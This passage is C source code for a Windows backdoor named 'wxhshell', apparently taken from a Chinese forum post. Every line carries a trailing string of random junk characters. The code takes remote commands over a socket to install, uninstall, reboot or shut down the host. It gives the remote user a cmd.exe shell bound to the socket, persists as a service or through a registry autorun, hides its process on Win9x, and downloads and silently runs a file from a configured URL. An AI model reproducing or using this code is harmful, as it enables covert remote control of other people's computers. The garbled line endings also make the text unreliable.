  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {/}^D-  
  else B~TN/sd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8Xn!Kpa  
  } Fr5 Xp  
  else { $|a;~m>  
ue0s&WF|  
    switch(cmd[0]) { KAc>-c<  
  - k`.j  
  // 帮助 "C74  
  case '?': { =|SdVv   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4# )6.f~  
    break; &ao(!/im  
  } @Zm J z  
  // 安装 `ZGcgO<c\  
  case 'i': { x(~<tX~  
    if(Install()) G/{ ~_&t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9%!dNnUk  
    else V'StvU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Mf Q&U   
    break; z"379b7cN  
    } T~k)uQ  
  // 卸载 !LIlt`ag9  
  case 'r': { $1 @,Qor  
    if(Uninstall()) i@zY9,b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MYdx .NZT  
    else sN/+   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l [%lE  
    break; `# ^0cW  
    } QxpKX_@Q5  
  // 显示 wxhshell 所在路径 YYUe)j{T  
  case 'p': { #Ufo)\x  
    char svExeFile[MAX_PATH]; )^/0cQcJ  
    strcpy(svExeFile,"\n\r"); fgCT!s7z  
      strcat(svExeFile,ExeFile); `\b+[Nes  
        send(wsh,svExeFile,strlen(svExeFile),0); {THqz$KN  
    break; Vb)zZ^va+  
    } : F9|&q-W,  
  // 重启 bQQVj?8jp  
  case 'b': { jv&+<j`r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;pZ[|  
    if(Boot(REBOOT)) 3QCVgo i\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q#[`KOPV  
    else { PC/!9s 0W  
    closesocket(wsh); ) Yj%#  
    ExitThread(0); EUcKN1  
    } +m/,,+4  
    break; Jqfm@Y  
    } <Ar$v'W=F{  
  // 关机 +)/ Uu3"=  
  case 'd': { {#hVD4$b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E%3TP_B3  
    if(Boot(SHUTDOWN)) 7z'h a?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rFu ez$  
    else { -s"0/)HD  
    closesocket(wsh); !7 _\P7M  
    ExitThread(0); }5n  
    } IZNOWX|Z;  
    break; x$B&L`QV  
    } AHd-  
  // 获取shell WS,7dz  
  case 's': { A 's-'8m  
    CmdShell(wsh); '%7 Bxof  
    closesocket(wsh); X")|Uw8Kl/  
    ExitThread(0); Y25uU%6t_  
    break; J8Z0D:5  
  } LmL Gki$w  
  // 退出 HL8eD^  
  case 'x': { ;j'Daupt;=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PT]GJ<K/  
    CloseIt(wsh); O<N#M{kc.  
    break; :uK btoA  
    } -%m3-xZA  
  // 离开 5PiOH"!19  
  case 'q': { W{Z^n(f4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;l!`C':'  
    closesocket(wsh); yrr) y  
    WSACleanup(); ?R'Y?b  
    exit(1); # c Fr   
    break; TFH&(_b  
        } 4gZ &^y'  
  } OW5t[~y]  
  } id,NONb\  
Ge \["`;i  
  // 提示信息 6 /Y1 wu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .+.j*>q>u  
} {j SmoA  
  }  ^jyD#  
Ix8$njp[  
  return; D>#l-{d  
} ~`cwG` 'N  
~5OL6Bi-q  
// shell模块句柄 1r9f[j~  
int CmdShell(SOCKET sock) -5Utl os  
{ |b.z*G  
STARTUPINFO si; u, kU$  
ZeroMemory(&si,sizeof(si)); erFv(eaDK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `f`TS#V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P:{<*`q  
PROCESS_INFORMATION ProcessInfo; Qvqqvk_tv  
char cmdline[]="cmd"; ` \ZqgX4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iHBB,x  
  return 0; 74J@F2g}?  
} "/+zMLY  
Qn+:/ zA;  
// 自身启动模式 b2) \ MNH  
int StartFromService(void) K1q+~4>\|  
{ PkUd~c  
typedef struct IVjU`ij  
{ 7@;">`zvm  
  DWORD ExitStatus; ^mPPyT,(  
  DWORD PebBaseAddress; (03pJV&K  
  DWORD AffinityMask; 8]"(!i_;)  
  DWORD BasePriority; r4{<Z3*N  
  ULONG UniqueProcessId; |g&ym Fc  
  ULONG InheritedFromUniqueProcessId; [EZYsOr.  
}   PROCESS_BASIC_INFORMATION; %&+59vq   
HuI`#.MpWE  
PROCNTQSIP NtQueryInformationProcess; \8v91g91f  
h*l&RR:i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W!la-n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }nrXxfu  
{aOkV::  
  HANDLE             hProcess; *@S@x{{s  
  PROCESS_BASIC_INFORMATION pbi; ^v ni&sJ  
wEEn?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WFv!Pbq,  
  if(NULL == hInst ) return 0; ,.mBJ SE3  
}iiHr|l3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S2^>6/[xM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {qpi?oY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .#w6%c@  
lK(Fg  
  if (!NtQueryInformationProcess) return 0; e XV@.  
\k@$~}xD,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *75YGD  
  if(!hProcess) return 0; yfj(Q s  
5<+K?uhm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -j`LhS~|  
wN Wka7P*  
  CloseHandle(hProcess); H Sz" tN  
(?i[jO||B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FfFak@H  
if(hProcess==NULL) return 0; +l 0g`:  
93Yn`Av;  
HMODULE hMod; SaDA`JmO  
char procName[255]; 3YL l;TP_  
unsigned long cbNeeded; *dsX#Iz  
1y5Ex:JVZT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "&o,yd%  
2xxB\J  
  CloseHandle(hProcess); 9Sg<K)Mc  
>hsuAU.UOR  
if(strstr(procName,"services")) return 1; // 以服务启动 [~mGsXV  
=JO^XwUOo  
  return 0; // 注册表启动 Paf%rv2  
} |%7cdMC  
`: |@Zln  
// 主模块 -1%OlKC  
int StartWxhshell(LPSTR lpCmdLine) Lxe^v/LsT  
{ ;sOsT?)7$  
  SOCKET wsl; w4};q%OBj  
BOOL val=TRUE; 1,t)3;o$  
  int port=0; _M5%V>HO  
  struct sockaddr_in door; R= 5 **  
X(AN)&L[  
  if(wscfg.ws_autoins) Install(); u'5`[U -!  
2Aq~D@,9=:  
port=atoi(lpCmdLine); N/F$bv  
h0|}TV^UJ  
if(port<=0) port=wscfg.ws_port; @4GA^h  
][@F  
  WSADATA data; 5er@)p_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bud&R4+  
x?,9_va]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    Lc2QXeo8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q!lP"J  
  door.sin_family = AF_INET; P,xwSvO#M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '+y_\  
  door.sin_port = htons(port); wa09$4>_w  
"MOpsb,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mt>oI SN&d  
closesocket(wsl); l?qqqB  
return 1; JAb6zpP  
} hf<J \   
QfpuZEUK  
  if(listen(wsl,2) == INVALID_SOCKET) { Hh[Tw&J4  
closesocket(wsl); GF<[}  
return 1; Qd`T5[b\  
} {3\R|tZh,`  
  Wxhshell(wsl); wxQ>ifi9Z  
  WSACleanup(); /BA{O&Ro^  
al^!,ykc  
return 0; x_w~G]! /  
0BU=)Swku  
} ja=w 5  
:z"!kzdJ  
// 以NT服务方式启动 #?O &  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9(_{`2R8  
{ #;VA5<M8  
DWORD   status = 0; /Ft:ffR|R  
  DWORD   specificError = 0xfffffff; |i %2%V#  
:' #\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; udk.zk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :<S<f%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tNaL;0#Tx  
  serviceStatus.dwWin32ExitCode     = 0; G-um`/<%  
  serviceStatus.dwServiceSpecificExitCode = 0; 2b@tj 5  
  serviceStatus.dwCheckPoint       = 0; z}4L=KR\v  
  serviceStatus.dwWaitHint       = 0; wTq{sW&  
m\u26`M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xz{~3ih  
  if (hServiceStatusHandle==0) return; UmU:j@ xvg  
[:;# ]?  
status = GetLastError(); C"uahP[Y  
  if (status!=NO_ERROR) Y$ Fj2nk+  
{ .8gl< vX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f i~I@KJ>  
    serviceStatus.dwCheckPoint       = 0; ]wn/BG)  
    serviceStatus.dwWaitHint       = 0; N;sm*+r  
    serviceStatus.dwWin32ExitCode     = status; dbdM"z 4  
    serviceStatus.dwServiceSpecificExitCode = specificError; $hrIO+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c WAtju?L;  
    return; {=:#S+^ER  
  } fL*T3[d  
<E,%@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r|<DqTc6l  
  serviceStatus.dwCheckPoint       = 0; Ww3wsyx  
  serviceStatus.dwWaitHint       = 0; ^c}J,tZ]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,?cH"@ RJ  
} Zl/< w(f_  
*<4Em{rZ5  
// 处理NT服务事件,比如:启动、停止 q ?j|K|%   
VOID WINAPI NTServiceHandler(DWORD fdwControl) `{K_/Cit  
{ oDB`iiBXQ  
switch(fdwControl) P 1>AOH2yG  
{ JgRYljQi2  
case SERVICE_CONTROL_STOP: k;y w#Af8  
  serviceStatus.dwWin32ExitCode = 0; ]2SF9p_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \fWW'  
  serviceStatus.dwCheckPoint   = 0; 'cZN{ZMWG  
  serviceStatus.dwWaitHint     = 0; afEF]i  
  { 1`bl&}6l|E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I s57F4[}  
  } IND]j72  
  return; i&Fiq&V)[  
case SERVICE_CONTROL_PAUSE: 9]'&RyH=#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {jKI^aC<[  
  break; V\5 L?}  
case SERVICE_CONTROL_CONTINUE: 1QqHF$S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cW8\d  
  break; F'm(8/A$  
case SERVICE_CONTROL_INTERROGATE: i{c@S:&@^  
  break; 95W?{> @  
}; l1=JrpCan  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d' >>E  
} px''.8   
,YYVj{~2  
// 标准应用程序主函数 2{,n_w?Wy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9SQ4cv*2  
{ @p=AWi}\  
ShOX<Fb&  
// 获取操作系统版本 T(?HMyg3  
OsIsNt=GetOsVer(); bO5k6i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w(d>HHg  
L5YnG_M&  
  // 从命令行安装 5sO@OV\ y  
  if(strpbrk(lpCmdLine,"iI")) Install(); K*-@Q0"KM{  
$4SzUZ0  
  // 下载执行文件 "Dcs])7Q  
if(wscfg.ws_downexe) { e$)300 o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6X2PYJJZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); uGU; Y'W)  
} * *H&+T/B  
$:s`4N^  
if(!OsIsNt) { } R4c  
// 如果时win9x,隐藏进程并且设置为注册表启动 cE'L% Z  
HideProc(); y3u+_KY-  
StartWxhshell(lpCmdLine); 0U/,aHvhP  
} aolN<u3G  
else KW^<,qt5w  
  if(StartFromService()) {svn=H /  
  // 以服务方式启动 Y/ot3[  
  StartServiceCtrlDispatcher(DispatchTable); WG71k8af  
else \G@wp5  
  // 普通方式启动 UO Ug4  
  StartWxhshell(lpCmdLine); K5t0L!6<+  
eW'2AT?2H%  
return 0; B?rSjdY4  
}
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只看该作者 1 发表于: 2006-10-10
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